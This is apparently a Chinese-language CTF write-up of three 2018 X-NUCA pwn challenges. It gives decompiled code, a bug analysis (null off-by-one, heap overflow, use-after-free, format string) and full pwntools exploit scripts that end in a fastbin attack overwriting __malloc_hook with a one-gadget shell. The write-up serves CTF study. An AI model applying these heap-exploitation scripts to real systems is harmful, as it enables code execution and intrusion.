2018 x-nuca pwn

个人赛

catchme

漏洞利用

flag存放在data段中,可以利用canary的报错直接读出flag。

利用脚本

1
2
3
4
5
6
7
8
from pwn import *
context.log_level='debug'

p = process('./catch_me')
p.sendlineafter("Your turn, show your flag:\n",'')
payload ='a'*0x128+p64(0x600ca0)
p.sendlineafter("Are you sure?\n",payload)
p.interactive()

note

漏洞利用

在add的scanf中指定了输入字符串的长度32,由于scanf会主动在末尾加\0,所以会在第33个字节处写入一个\0,造成null off by one漏洞。

题目中malloc的chunk只有0x8和0x20两种,且0x20的只能malloc一次。这个0x20可以用来调整地址的位置,如果name1指向了0x100,name2指向0x120,通过对content2的输入能够覆盖name2中的地址末位为\x00,即name2同样指向了0x100。这样在删除name1之后再对name2进行edit,就相当于与UAF,从而利用fastbin attack伪造一个fastbin指向command(0x602098)附近。0x602090这个位置是由用户控制的,可以把这个字段伪造成一个fastbin的size字段,进而将0x602098位置当做一个chunk分配给用户,覆写command为’/bin/sh’。

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
context.log_level='debug'

p=process('./note')
cmd=0x602098

def add(name,content):
p.sendlineafter("please input the command:\n",'1')
p.sendafter("block name:",name)
p.sendafter("block content:",content)

def f1234(name,content):
p.sendlineafter("please input the command:\n",'1234')
p.sendafter("input the secret name:",name)
p.sendlineafter("please input the content:\n",content)
def dele(idx):
p.sendlineafter("please input the command:\n",'4')
p.sendlineafter("please input the block id:",str(idx))

def edit(idx,name,content):
p.sendlineafter("please input the command:\n",'2')
p.sendlineafter("please input the index you want to edit\n",str(idx))
p.sendafter("please input name:\n",name)
p.sendlineafter("please input the content:\n",content)

p.sendafter("Please leave your name :",'\x21\x00\x00\x00\x00')

add('0gur1\n','content\n')#0->0x10
add('1gur1\n','content\n')#1->0x30
add('2gur1\n','content\n')#2->0x50
add('3gur1\n','content\n')#3->0x70
add('4gur1\n','content\n')#4->0x90
add('5gur1\n','content\n')#5->0xb0


f1234('secret\n','content\n')#0xd0
add('6gur1\n','content\n')#6->0x100
add('7gur1\n','1'*32)#7->0x120;change to #7->0x100

dele(6)#fb->0x100
edit(7,p64(cmd-0x10),'content\n')#fb->0x100->cmd
add('8gur1\n','content\n')#8->100
add('/bin/sh\n','content\n')#9->cmd

p.sendlineafter("please input the command:\n",'2333')

p.interactive()

线下赛

pwn4-library

这题我的思路可能想复杂了,因为看见别的师傅发了wp,数据量不是很大,我可能绕弯了。毕竟是肝了一晚上的一道题(是的大佬们,你们一会就做出来的题我肝了一夜),还是纪念一下orz

基本逻辑

程序将功能分为两大类:管理员和学生。管理员可以添加、删除以及检查书。

add_books添加一本书,需要创建三种结构体:book_node,section_head和section_node。一本书有多个章节,根据输入的num,创建多个section_node。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct book_node{
char title[16];
__int64 abs_title;
struct section_head * section_addr;
__int64 borrow;
struct book_node * next;
}
struct section_head{
__int64 section_num;
struct section_node * section_list;
__int64 type;
}
struct section_node{
char name[8];
__int64 length;
char *content;
struct secion_node * next;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
unsigned __int64 add_books()
{
……
v13 = __readfsqword(0x28u);
v0 = (struct book_node *)malloc(0x30uLL);
if ( !v0 )
exit(0);
v1 = v0;
v2 = head;
v1->next = head->next;
v2->next = v1;
LODWORD(v1->borrow) = 0;
v3 = (struct section_head *)malloc(0x18uLL);
v4 = v3;
if ( !v3 )
exit(0);
v1->section_addr = v3;
puts("title:");
v5 = read(0, tmp, 0x10uLL);
LODWORD(v6) = v5;
v7 = v5 - 1;
if ( tmp[v7] == 10 )
tmp[v7] = 0;
v8 = abs_int(tmp);
LOBYTE(v1->abs_title) = v8;
if ( v8 == 1 )
{
puts("Oh, it's a C book");
LODWORD(v1->section_addr->type) = 0;
}
else if ( v8 == 2 )
{
puts("Oh, it's a MATH book");
LODWORD(v1->section_addr->type) = 1;
}
else
{
if ( v8 )
return __readfsqword(0x28u) ^ v13;
puts("Oh, it's a English book");
LODWORD(v1->section_addr->type) = 0;
}
v6 = (signed int)v6;
strncpy(v1->title, tmp, (signed int)v6);
v1->title[v6] = 0;
puts("How many sections");
v9 = read_int();
LODWORD(v4->section_num) = v9;
if ( v9 )
{
v10 = 0;
do
{
input_section(v1->section_addr);
++v10;
}
while ( v9 != v10 );
}
++LODWORD(head->num);
return __readfsqword(0x28u) ^ v13;
}

ssize_t __fastcall input_section(struct section_head *a1)
{
……
v1 = (struct section_node *)malloc(0x20uLL);
if ( !v1 )
exit(0);
v2 = v1;
v1->next = a1->section_list;
a1->section_list = v1;
puts("input section name");
v3 = (unsigned __int64)read(0, v2, 8uLL) - 1;
if ( v2->name[v3] == 10 )
v2->name[v3] = 0;
puts("what's the section length:");
v4 = read_int();
LODWORD(v2->length) = v4;
v5 = (char *)malloc(v4);
v2->content_addr = v5;
if ( !v5 )
exit(0);
if ( LODWORD(a1->type) == 1 )
LODWORD(v2->length) = 2 * v4;
puts("what's the section content:");
return read(0, v2->content_addr, LODWORD(v2->length));// heap overflow !!
}

check_books检查title是否为空,abs_title和利用title计算出的abs值是否一致。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int check_books()
{
……

puts("check all books");
result = (signed int)head;
for ( i = head->next; i; i = i->next )
{
if ( LODWORD(i->borrow) == 1 )
{
while ( 1 )
;
}
result = abs_int(i->title);
v2 = result;
if ( !i->title[0] )
{
*(_QWORD *)i->title = 'enifednu';
i->title[8] = 'd';
result = puts("The book's name is undefined");
}
if ( v2 != LOBYTE(i->abs_title) )
{
LOBYTE(i->abs_title) = v2;
result = printf("Oh,%s is classified mistakenly\n", i);// leak address
}
}
return result;
}

dele_book将要删除的book_node从链表中解链并释放对应的book_node。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
unsigned __int64 dele_book()
{
……

v5 = __readfsqword(0x28u);
puts("title:");
v0 = (unsigned __int64)read(0, v4, 0x10uLL) - 1;
if ( v4[v0] == 10 )
v4[v0] = 0;
v1 = head->next;
if ( v1 )
{
v2 = head->next;
while ( strcmp(v4, v1->title) ) // cmp title
{
v2 = v1; // v2:last node;v1:present node
if ( !v1->next )
goto LABEL_11;
v1 = v1->next;
}
puts("delete success");
if ( head->next == v2 )
{
free(v1);
head->next = 0LL;
}
else
{
v2->next = v1->next;
free(v1);
}
}
else
{
LABEL_11:
puts("Sorry,no such book");
}
return __readfsqword(0x28u) ^ v5;
}

学生可以借书、还书和读书。

borrow在book_node的链表中找到对应的书并把borrow字段置为1.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 borrow()
{
……

v5 = __readfsqword(0x28u);
puts("what's the book's title you want to borrow?");
v0 = (unsigned __int64)read(0, v4, 0x10uLL) - 1;
if ( v4[v0] == 10 )
v4[v0] = 0;
v1 = head;
v2 = head->next;
if ( v2 )
{
while ( strcmp(v4, v2->title) || LODWORD(v2->borrow) )
{
v2 = v2->next;
if ( !v2 )
goto LABEL_8;
}
LODWORD(v2->borrow) = 1;
--LODWORD(v1->num);
puts("borrow success");
}
else
{
LABEL_8:
puts("Sorry,Please borrow this book next time");
}
return __readfsqword(0x28u) ^ v5;
}

back会检查section的数量,如果数量有问题就会释放book_node和对应的section_addr;否则将borrow置零。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
unsigned __int64 back()
{
……

v8 = __readfsqword(0x28u);
puts("what's the book's title you want to give back?");
v0 = (unsigned __int64)read(0, v7, 0x10uLL) - 1;
if ( v7[v0] == 10 )
v7[v0] = 0;
v1 = head;
v2 = head->next;
if ( v2 )
{
while ( strcmp(v7, v2->title) || LODWORD(v2->borrow) != 1 )
{
v2 = v2->next;
if ( !v2 )
return __readfsqword(0x28u) ^ v8;
}
v3 = v2->section_addr;
v4 = v3->section_list;
//统计section_list中的section数量
if ( v4 )
{
v5 = 0;
do
{
++v5;
v4 = v4->next;
}
while ( v4 );
}
else
{
v5 = 0;
}
//比较实际的section数量是否和section_addr中的num相同
if ( LODWORD(v3->section_num) == v5 )
{
LODWORD(v2->borrow) = 0;
++LODWORD(v1->num);
puts("OK, success!!!");
}
else
{
printf("section lack!! MUST discard it!!", v2);
free(v2->section_addr); // UAF
free(v2);
}
}
return __readfsqword(0x28u) ^ v8;
}

read_book会输出name为’xnuca’的section的content,还允许向书中添加section。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
unsigned __int64 read_book()
{

v11 = __readfsqword(0x28u);
puts("what's the book's title you want to read at library?");
v0 = (unsigned __int64)read(0, buf, 0x10uLL) - 1;
if ( buf[v0] == 10 )
buf[v0] = 0;
v1 = head->next;
if ( v1 )
{
while ( strcmp(buf, v1->title) )
{
v1 = v1->next;
if ( !v1 )
return __readfsqword(0x28u) ^ v11;
}
puts("reading...");
puts("reading...");
puts("reading...");
v2 = v1->section_addr->section_list;
v3 = 0;
for ( i = v2 == 0LL; v2; i = v2 == 0LL )
{
v5 = "xnuca";
v6 = 5LL;
v7 = v2;
do
{//逐字节比较name
if ( !v6 )
break;
v3 = v7->name[0] < (const unsigned __int8)*v5;
i = v7->name[0] == *v5;
v7 = (struct section_node *)((char *)v7 + 1);
++v5;
--v6;
}
while ( i );
if ( (!v3 && !i) == v3 )
{
printf(v2->content_addr, v7); // format string!
puts("xnuca!xnuca!xnuca!");
}
v2 = v2->next;
v3 = 0;
}
puts("DO you want to take a note?");
read(0, &v9, 2uLL);
if ( (v9 & 0xDF) == 0x59 )
input_section(v1->section_addr);
}
return __readfsqword(0x28u) ^ v11;
}

bugs

线下的题目漏洞总是很多,利用方式也多样,这里列出我找到的一些洞(反正补过之后没再被打

1.input_section中,如果type==1,read时的第三个参数变成2*length,造成堆溢出。

2.check_books中,当abs_title和计算结果不一致时会输出该book_node的title,但如果没有\0,就能够一直输出,通过构造数据能够输出next字段的值,即泄露堆地址。

3.如果在read_books时能添section,那么在back时,这个book_node和对应的section_addr就会被释放,但没有对指针置零,导致UAF。

4.read_book中有一个格式化字符串漏洞,但是太明显了,估计很快会被补上,于是不打算用这个漏洞。

漏洞利用

利用整体思路是利用fastbin attack将malloc_hook-0x23放入到fastbin中,进而覆写malloc_hook。因此需要0x70的块,但程序中唯一能够申请0x70大小的content并不会被释放,所以利用堆溢出修改size字段来伪造0x70的块,至少需要2块才能实现fastbin attack。

另外需要泄露libc的地址,进而得到malloc_hook的地址。泄露libc地址可以通过check_books中输出title来实现。如果能让book_node指向bss上的stdout,那么输出的title就是stdout的实际地址。为了让book_node指向stdout处,可以修改某一book_node的next字段为bss上的stdout地址。修改字段可以通过UAF漏洞,在back()函数释放book_node和section_addr后,再read_book()添加section,将有机会分配到刚释放的book_node,通过输入content覆写book_node各个字段即可。

在覆写book_node的过程中,为了其他功能正常进行,section_addr字段要填入正确的堆地址,因此在此之前还需要泄露一次堆地址。

最终利用思路是:利用check_book和UAF泄露堆地址->利用check_book和UAF泄露libc地址->利用fastbin attack覆写malloc_hook。

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
from pwn import *

gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
debug=1
if debug:
p = process('./library')
libc= ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'

def add(title,section_num,section_name,length,content):
p.sendlineafter("4. exit\n",'1')
p.sendlineafter("title:\n",title)
p.sendlineafter("How many sections\n",str(section_num))
p.sendlineafter("input section name\n",section_name)
p.sendlineafter("what's the section length:\n",str(length))
p.sendlineafter("what's the section content:\n",content)

def check():
p.sendlineafter("4. exit\n",'2')


def dele(title):
p.sendlineafter("4. exit\n",'3')
p.sendafter("title:\n",title)


def read_book(title,flag1,flag2,section_name=0,length=0,content=0):
data = 0
p.sendlineafter("4. exit\n",'3')
p.sendlineafter("what's the book's title you want to read at library?\n",title)
p.recvuntil("reading...\n"*3)
if flag1:
data = p.recvline()[:-1]
if flag2:
p.sendlineafter("DO you want to take a note?\n",'Y')
p.sendlineafter("input section name\n",section_name)
p.sendlineafter("what's the section length:\n",str(length))
p.sendafter("what's the section content:\n",content)
else:
p.sendlineafter("DO you want to take a note?\n",'N')
return data

def borrow(title):
p.sendlineafter("4. exit\n",'1')
p.sendlineafter("what's the book's title you want to borrow?\n",title)

def back(title):
p.sendlineafter("4. exit\n",'2')
p.sendlineafter("what's the book's title you want to give back?\n",title)


p.sendlineafter("choose your id:\n",'0')
add('book0',1,'xnuca',256,'%17$p')#add 0
add('book1',1,'sec1',256,'chapter1')#add 1

p.sendlineafter("4. exit\n",'4')
#leak heap address
#---------------------------------------------------------
p.sendlineafter("choose your id:\n",'1')

read_book('book1',0,1,'sec1',0x30,'chapter\n') #read_book 1 ;add section
borrow('book1')
back('book1') #free #1's book_node,section_head
read_book('\x00',0,1,'sec1',0x38,'1'*40)#new content use #1's booknode
p.sendlineafter("4. exit\n",'4')
#----------------------------------------------------------

p.sendlineafter("choose your id:\n",'0')
check()

p.recvuntil("Oh,")
heap_addr = u64(p.recvuntil(' ')[:-1][40:].ljust(8,'\x00'))
log.info('heap_addr:%#x',heap_addr)

add('book2',1,'sec1',256,'chapter1')#add 2

p.sendlineafter("4. exit\n",'4')

#leak libc address
#---------------------------------------------------------
p.sendlineafter("choose your id:\n",'1')

read_book('book2',0,1,'sec1',0x30,'chapter\n') #read_book 2 ;add section
borrow('book2')
back('book2') #free #2's book_node,section_head

read_book('\x00',0,1,'sec1',0x38,'1'.ljust(16,'\x00')+p64(1)+p64(heap_addr)+p64(0)+p64(0x603150))#new content use #2's booknode
p.sendlineafter("4. exit\n",'4')
#----------------------------------------------------------
p.sendlineafter("choose your id:\n",'0')

check()

p.recvuntil("Oh,")
stdout = u64(p.recvuntil('\x7f').ljust(8,'\x00'))
log.info('stdout:%#x',stdout)
libc_addr = stdout-libc.symbols['_IO_2_1_stdout_']
malloc_hook = libc_addr+libc.symbols['__malloc_hook']

add('\x32',1,'xnuca',256,'%17$p')#add 0
add('book1',1,'sec1',256,'1'*0x18+p64(0x21))#add 1
add('\x32',1,'sec1',256,'1'*0x18+p64(0x21))#add 2
add('book3',1,'sec1',256,'1'*0x18+p64(0x21))#add 3

p.sendlineafter("4. exit\n",'4')

#fastbin attack
#---------------------------------------------------------


p.sendlineafter("choose your id:\n",'1')
read_book('book1',0,1,'sec1',0x30,'chapter') #read_book 1;add section
borrow('book1')
back('book1') #free #1's book_node,section_head
read_book('\x32',0,1,'sec1',0x38,'1'.ljust(16,'\x00')+p64(1)+p64(heap_addr+0x7c0)+p64(1)+p64(0)*2+p64(0x71))#change #1 section_head's size to 0x71

back('1')#fastbin 0x70->#1 section_head;fastbin 0x20->#1 section_head

read_book('book3',0,1,'sec1',0x30,'chapter') #read_book 2;add section
borrow('book3')
back('book3') #free #3's book_node,section_head

read_book('\x32',0,1,'sec1',0x38,'0'.ljust(16,'\x00')+p64(0)+p64(heap_addr+0xb00)+p64(1)+p64(heap_addr+0x7c0-0x40)+p64(0)+p64(0x71))

back('0')

back('chapter')#fastbin 0x70->#1 section_head->#3 section_head->#1 section_head

read_book('\x00',0,1,'sec1',0x68,p64(malloc_hook-0x23))#fastbin 0x70->#3 section_head->#1 section_head->malloc_hook-0x23
read_book('\x00',0,1,'sec1',0x68,'chapter')#fastbin 0x70->#1 section_head->malloc_hook-0x23
read_book('\x00',0,1,'sec1',0x68,'chapter')#fastbin 0x70->malloc_hook-0x23
read_book('\x00',0,1,'sec1',0x68,'a'*0x13+p64(libc_addr+gadget[1]))


p.sendlineafter("4. exit\n",'4')
p.sendlineafter("choose your id:\n",'0')
p.sendlineafter("4. exit\n",'1')


p.interactive()